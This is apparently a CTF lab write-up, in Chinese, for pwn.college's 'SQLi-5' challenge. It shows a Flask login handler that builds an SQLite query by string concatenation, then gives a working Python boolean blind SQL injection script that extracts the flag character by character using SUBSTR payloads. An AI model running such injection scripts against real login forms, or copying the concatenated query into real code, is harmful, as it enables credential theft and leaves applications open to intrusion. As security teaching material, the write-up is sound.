SQLi-5

题目简介

这一题和一般的SQL注入都不同,服务端将不再回显任何SQL查询的结果,但幸好题目提示我们,即便不显示任何数据,我们也可以一个字符一个字符的恢复,这可以通过查询时页面不同的行为来判断,比如认证成功or认证失败

漏洞点分析

看完题面大概猜到是一个盲注,需要自己写脚本了,一个字符一个字符的爆破,然后看一下server端的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

try:
# https://www.sqlite.org/lang_select.html
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")

if not user:
flask.abort(403, "Invalid username or password")

flask.session["user"] = username
return flask.redirect(flask.request.path)

这里可以发现查询语句是直接拼接生成,因此存在SQL注入风险,同时根据查询执行结果的不同,返回状态码403或者重定向,因此这是一个布尔盲注类型

漏洞利用

首先确定闭合类型,根据上述源码,可以看到username和password都是字符型,单引号闭合

由于不需要联合查询,因此这一题里面可以不用判断字段数量

(其实也很好判断,看源码,rowid加上*,表里面有两列,一共就是3列,如果要联合查询的话就应该是如union select 1,2,3;确保列数一致即可)

(备注:如果没有源码该怎么判断,此时需要用到二分法试探,以后碰到具体题目再做记录……)

根据上述分析,可以开始写盲注脚本,主要思路就是首先根据flag的长度(因为每题flag都是一样的长度,很容易确定)作为外层循环,内层循环逐个试探可打印字符;

判断是否和flag对上的标准就是看返回状态码是否=302(即重定向),脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
flag=r"pwn.college{"
flagLen=59
url="http://challenge.localhost:80"
hostName={"Host":"challenge.localhost:80"}
password="123456"
#admin ' and SUBSTR(password,1,1)='p'
for x in range(13,flagLen+1):
for charac in string.printable:
username="admin' and SUBSTR(password,"+str(x)+",1)='"
username+=charac
username+="' -- "
body={"username":username,"password":password}
response=requests.post(url,data=body,headers=hostName)
if response.status_code==200:
flag+=charac
break
print("{}\n".format(flag))

这里由于python的requests模块自动跟随重定向了,把判断条件改成状态码==200,也可以关掉重定向,一样的

运行脚本后等待一段时间即可输出flag了


SQLi-5
http://0x4a-210.github.io/2025/07/17/pwn.college/Intro-to-Cybersecurity/Web/SQLi-5/
Posted on
July 17, 2025
Licensed under